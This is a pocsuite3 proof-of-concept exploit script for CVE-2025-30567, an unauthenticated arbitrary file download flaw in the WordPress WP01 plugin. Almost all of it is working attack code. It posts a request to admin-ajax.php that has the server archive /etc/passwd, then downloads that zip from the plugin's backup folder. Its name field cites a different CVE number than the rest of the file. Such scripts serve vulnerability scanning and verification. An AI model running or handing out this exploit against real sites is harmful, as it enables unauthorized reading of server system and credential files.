#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pocsuite3.api import ( minimum_version_required, POCBase, register_poc, requests, logger, OptString, OrderedDict, random_str, re, Output ) minimum_version_required('2.1.0') class POC(POCBase): vulID = 'CVE-2025-30567' version = '1.0' author = 'Oyst3r' vulDate = '2025-03-26' createDate = '2025-03-26' updateDate = '2025-03-26' references = ['https://nvd.nist.gov/vuln/detail/CVE-2025-30567'] name = 'Unauthorized Arbitrary File Download in WordPress WP01(CVE-2025-29927)' appPowerLink = 'https://ru.wordpress.org/plugins/wp01/' appName = 'WordPress WP01' appVersion = '2.6.2' vulType = 'Arbitrary_File_Download' desc = 'The plugin\'s make_archive method lacks proper functionality checks and authorization handling, allowing unauthorized users to download arbitrary files from the server.' samples = [''] install_requires = [''] pocDesc = 'Poc_CVE-2025-30567' dork = {'Quake': ''} suricata_request = '' suricata_response = '' def _verify(self): result = {} target_url_one = self.url.rstrip("/") + "/wp-admin/admin-ajax.php?action=wp01_generate_zip_archive" target_url_two = self.url.rstrip("/") + "/wp-content/wp01-backup/wp-01-passwd.zip" headers_post ={ 'accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded', } headers_get = { 'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh;q=0.9', } data = f'target=passwd&path=/etc/' try: resp_one = requests.post(target_url_one, data=data, headers=headers_post, verify=False) if (resp_one.status_code == 200 and re.search(r'{"url":.*?wp-content.*\.zip"}', resp_one.text)): logger.debug(f"开始获取 passwd: {target_url_two}") resp_two = requests.get(target_url_two, headers=headers_get, verify=False) if resp_two.status_code == 200: logger.debug("passwd获取成功") result["VerifyInfo"] = { "URL": target_url_two, } except Exception as e: logger.error(f"请求异常: {str(e)}") return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail("目标未受漏洞影响") return output register_poc(POC)